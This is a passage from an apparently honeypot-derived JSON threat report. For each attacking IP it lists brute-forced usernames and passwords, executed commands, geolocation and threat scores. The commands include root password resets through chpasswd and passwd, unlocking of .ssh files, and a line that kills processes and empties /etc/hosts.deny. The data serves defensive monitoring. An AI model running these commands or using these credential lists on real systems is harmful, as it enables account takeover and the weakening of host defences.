        "Pa$$w0rd2024",
        "Password",
        "Password@1",
        "Sz123456",
        "Vncuser123!",
        "armin123",
        "docker1234",
        "gading",
        "maks123!",
        "modify123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\n0WiINuI8mycz\\n0WiINuI8mycz\\n\"|passwd",
        "echo \"root:xjTHGaXhRtzF\"|chpasswd|bash",
        "echo \"zomboid1234\\naYLykt5iKwy0\\naYLykt5iKwy0\\n\"|passwd",
        "echo -e \"12345\\n0WiINuI8mycz\\n0WiINuI8mycz\"|passwd|bash",
        "echo -e \"zomboid1234\\naYLykt5iKwy0\\naYLykt5iKwy0\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Sejong",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 46.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 441,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:15:13.910000+00:00",
        "last_seen_30d": "2026-03-25T00:13:05.302000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 356,
        "Suricata": 85
      }
    },
    "27.112.79.150": {
      "attack_count": 337,
      "first_seen": "2026-03-11T01:06:36.745Z",
      "last_seen": "2026-03-20T22:40:06.238Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "api",
        "colin",
        "server1",
        "bitcoin",
        "chase",
        "clawd",
        "daniel",
        "dante",
        "dp",
        "glenn",
        "guara",
        "jeff",
        "openkm",
        "planka",
        "q",
        "roots",
        "rpm",
        "tomcat"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345",
        "12345678",
        "7ujm&UJM",
        "Admin123456!",
        "Li@123456",
        "P@ssw0rd2025",
        "Zsolt123!",
        "api123",
        "chase",
        "clawd@123",
        "colin",
        "dp123!",
        "guara@123",
        "openkmpassword",
        "planka123!",
        "server1123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"api123\\nKiLOW851pSw4\\nKiLOW851pSw4\\n\"|passwd",
        "echo \"colin\\nTXGZwItWxqRD\\nTXGZwItWxqRD\\n\"|passwd",
        "echo \"server1123\\n2gdzbAKYHIb8\\n2gdzbAKYHIb8\\n\"|passwd",
        "echo -e \"api123\\nKiLOW851pSw4\\nKiLOW851pSw4\"|passwd|bash",
        "echo -e \"colin\\nTXGZwItWxqRD\\nTXGZwItWxqRD\"|passwd|bash",
        "echo -e \"server1123\\n2gdzbAKYHIb8\\n2gdzbAKYHIb8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 414,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:06:36.745000+00:00",
        "last_seen_30d": "2026-03-20T22:41:11.760000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 337,
        "Suricata": 77
      }
    },
    "103.189.235.176": {
      "attack_count": 332,
      "first_seen": "2026-03-08T04:16:54.106Z",
      "last_seen": "2026-03-16T19:21:56.554Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "pyramid",
        "terminal",
        "ubuntu",
        "User",
        "ai",
        "alyssa",
        "daniela",
        "deployer",
        "evertz",
        "gameserver",
        "louis",
        "mohsen",
        "n8n",
        "new",
        "newadmin",
        "nvidia",
        "peertube",
        "pgadmin",
        "root"
      ],
      "passwords_attempted": [
        "password",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "11111111",
        "12345",
        "Newadmin123",
        "Peertube123!",
        "QWEasd123...",
        "Tfserver123!",
        "Wes123",
        "ai123!",
        "evertz",
        "new@123456",
        "pgadmin123",
        "scp123",
        "valheim@123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"11111111\\nIBEQWpEAFNgZ\\nIBEQWpEAFNgZ\\n\"|passwd",
        "echo \"123456\\nlMVH0q5Vtk45\\nlMVH0q5Vtk45\\n\"|passwd",
        "echo \"12345\\nEyxY1VxLXBKR\\nEyxY1VxLXBKR\\n\"|passwd",
        "echo -e \"11111111\\nIBEQWpEAFNgZ\\nIBEQWpEAFNgZ\"|passwd|bash",
        "echo -e \"123456\\nlMVH0q5Vtk45\\nlMVH0q5Vtk45\"|passwd|bash",
        "echo -e \"12345\\nEyxY1VxLXBKR\\nEyxY1VxLXBKR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 405,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:16:54.106000+00:00",
        "last_seen_30d": "2026-03-16T19:22:58.721000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 73
      }
    },
    "169.255.56.175": {
      "attack_count": 312,
      "first_seen": "2026-03-11T01:06:58.520Z",
      "last_seen": "2026-03-14T21:53:02.064Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "sc",
        "taibabi",
        "ys",
        "amir",
        "angga",
        "bin",
        "clawd",
        "coder",
        "david",
        "francesco",
        "hadoop",
        "reza",
        "shoutcast",
        "simone",
        "task",
        "temp",
        "testsftp",
        "vlc"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "password",
        "!@#qwe123QWE",
        "francesco123!",
        "hadoop123",
        "reza",
        "zs123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nB7Os71UDtJRf\\nB7Os71UDtJRf\\n\"|passwd",
        "echo \"123\\nnTovC0MBbkCz\\nnTovC0MBbkCz\\n\"|passwd",
        "echo \"password\\nCdO1ZZENDSKx\\nCdO1ZZENDSKx\\n\"|passwd",
        "echo -e \"12345678\\nB7Os71UDtJRf\\nB7Os71UDtJRf\"|passwd|bash",
        "echo -e \"123\\nnTovC0MBbkCz\\nnTovC0MBbkCz\"|passwd|bash",
        "echo -e \"password\\nCdO1ZZENDSKx\\nCdO1ZZENDSKx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ghana",
      "country_code": "GH",
      "city": "Accra",
      "asn": 327813,
      "as_org": "HA-VPS-NET",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 375,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:06:58.520000+00:00",
        "last_seen_30d": "2026-03-14T21:54:12.365000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 63
      }
    },
    "154.91.170.15": {
      "attack_count": 305,
      "first_seen": "2026-03-02T04:43:46.355Z",
      "last_seen": "2026-03-05T11:33:29.129Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1231",
        "@a1234567",
        "AA123456+",
        "Aa!123456",
        "Admin12345",
        "Admin@2024",
        "Lt123456..",
        "QWE123",
        "Qwerty123456!",
        "Root@12345678",
        "a12345678.",
        "a123456987a",
        "aA.2024",
        "aa-2024",
        "aa1qaz@WSX",
        "aa@123",
        "caonimabi",
        "majid123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"AA123456+\\ntMNVKgb6X01W\\ntMNVKgb6X01W\\n\"|passwd",
        "echo \"root:2ZI8lvs8alay\"|chpasswd|bash",
        "echo \"root:tddinit8VpDj\"|chpasswd|bash",
        "echo -e \"AA123456+\\ntMNVKgb6X01W\\ntMNVKgb6X01W\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 212552,
      "as_org": "BitCommand LLC",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:43:46.355000+00:00",
        "last_seen_30d": "2026-03-05T11:34:37.389000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 305,
        "Suricata": 60
      }
    },
    "165.22.80.64": {
      "attack_count": 252,
      "first_seen": "2026-03-03T08:12:21.800Z",
      "last_seen": "2026-03-06T12:41:09.599Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elk",
        "apache",
        "cliente",
        "dp",
        "esuser",
        "jason1",
        "joao",
        "michael",
        "ts1",
        "user1"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1123581321",
        "1234",
        "123456xz",
        "12345@Abcde",
        "@qQ123456",
        "@qwer2025",
        "@qwer2026",
        "Aa1234!@#$",
        "Ab123123",
        "Apache123!",
        "Bingo@1993",
        "Dp123!",
        "esuserpass",
        "fuck12",
        "jason1123!",
        "joaopass",
        "lihao023.."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nmN8G1lAXSADa\\nmN8G1lAXSADa\\n\"|passwd",
        "echo \"root:A40PdyMQU23Q\"|chpasswd|bash",
        "echo -e \"12345678\\nmN8G1lAXSADa\\nmN8G1lAXSADa\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 315,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:12:21.800000+00:00",
        "last_seen_30d": "2026-03-06T12:42:14.191000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 252,
        "Suricata": 63
      }
    },
    "52.183.128.237": {
      "attack_count": 238,
      "first_seen": "2026-03-07T14:17:43.520Z",
      "last_seen": "2026-03-15T20:03:29.703Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "common",
        "root",
        "test",
        "admins",
        "angga",
        "cyber",
        "developer",
        "ftpadmin",
        "gosha",
        "javier",
        "mailuser",
        "newuser",
        "prueba",
        "public",
        "pzuser",
        "sg",
        "simon",
        "tv",
        "yocto"
      ],
      "passwords_attempted": [
        "1234",
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123qaz!@#",
        "Admins123",
        "a",
        "angga123",
        "mailuser",
        "password123",
        "qwe123",
        "yocto123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nNVgNUGZ30UzD\\nNVgNUGZ30UzD\\n\"|passwd",
        "echo \"qwe123\\nUcp6tP53eURe\\nUcp6tP53eURe\\n\"|passwd",
        "echo -e \"1234\\nNVgNUGZ30UzD\\nNVgNUGZ30UzD\"|passwd|bash",
        "echo -e \"qwe123\\nUcp6tP53eURe\\nUcp6tP53eURe\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T14:17:43.520000+00:00",
        "last_seen_30d": "2026-03-15T20:04:35.106000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 56
      }
    },
    "171.244.141.86": {
      "attack_count": 237,
      "first_seen": "2026-03-04T04:24:27.868Z",
      "last_seen": "2026-03-08T06:45:14.182Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "anders",
        "elizabeth",
        "mukesh",
        "nova",
        "sftpuser",
        "tomcat",
        "user2",
        "zhy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345",
        "1234509876",
        "123456@qwe",
        "1q2w3e4r@",
        "Aa12345!",
        "Aa159753",
        "Pass123!@#",
        "a1236547",
        "a8675309",
        "aaaaa44444",
        "exxact@1",
        "fernanda",
        "mukesh123!",
        "nova123!",
        "sftpuser2025",
        "zaq1ZAQ!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nqfC36XuKf3xW\\nqfC36XuKf3xW\\n\"|passwd",
        "echo \"root:ni1DHZ1YCBJz\"|chpasswd|bash",
        "echo -e \"12345\\nqfC36XuKf3xW\\nqfC36XuKf3xW\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T04:24:27.868000+00:00",
        "last_seen_30d": "2026-03-08T06:46:23.924000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 237,
        "Suricata": 58
      }
    },
    "152.32.191.226": {
      "attack_count": 236,
      "first_seen": "2026-03-28T22:44:28.965Z",
      "last_seen": "2026-03-28T23:46:13.850Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!2345Qwert",
        "1236547890",
        "Abc123123",
        "Admin1234%",
        "Einstein@123",
        "He123456!",
        "P@ssw0rd@1",
        "Test123123",
        "admin@520",
        "centos2024",
        "hong1234",
        "leaf",
        "martina",
        "muie123",
        "munna",
        "myspace0",
        "qwe1233211",
        "qwe@asd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:AvgWCSTWyj94\"|chpasswd|bash",
        "echo \"root:K9z62Sjxsn7k\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T22:44:28.965000+00:00",
        "last_seen_30d": "2026-03-28T23:47:19.122000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 58
      }
    },
    "172.199.41.97": {
      "attack_count": 197,
      "first_seen": "2026-03-06T21:51:06.623Z",
      "last_seen": "2026-03-06T22:18:30.351Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "newuser",
        "allen",
        "almacen",
        "andy",
        "comunicacao",
        "online",
        "onlyoffice",
        "www",
        "xx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "12345678",
        "@qwer2025",
        "@qwer2026",
        "Xx123",
        "apple",
        "comunicacao123!",
        "newuser",
        "password",
        "www123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"newuser\\nKG0PQlpZ0jtG\\nKG0PQlpZ0jtG\\n\"|passwd",
        "echo \"root:sSMzkdSYlyQr\"|chpasswd|bash",
        "echo -e \"newuser\\nKG0PQlpZ0jtG\\nKG0PQlpZ0jtG\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 235,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T21:51:06.623000+00:00",
        "last_seen_30d": "2026-03-06T22:19:34.042000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 197,
        "Suricata": 38
      }
    },
    "101.47.142.207": {
      "attack_count": 196,
      "first_seen": "2026-03-26T07:14:56.862Z",
      "last_seen": "2026-03-27T15:14:37.413Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "live",
        "Test",
        "developer",
        "mahdi",
        "zy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "#qlalf#wiseit#qjsgh#",
        "123456123456",
        "1234Qwer",
        "1Qazxsw2",
        "Live123!",
        "Pass@word88",
        "Test123",
        "a123@123",
        "acmilan",
        "admin123",
        "adminiSTRATOR",
        "an@123456",
        "cect-chinacomm",
        "developer123",
        "mahdi2025",
        "pass12",
        "passwords02",
        "tx.123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Live123!\\nHqT0fQ8GAccL\\nHqT0fQ8GAccL\\n\"|passwd",
        "echo -e \"Live123!\\nHqT0fQ8GAccL\\nHqT0fQ8GAccL\"|passwd|bash",
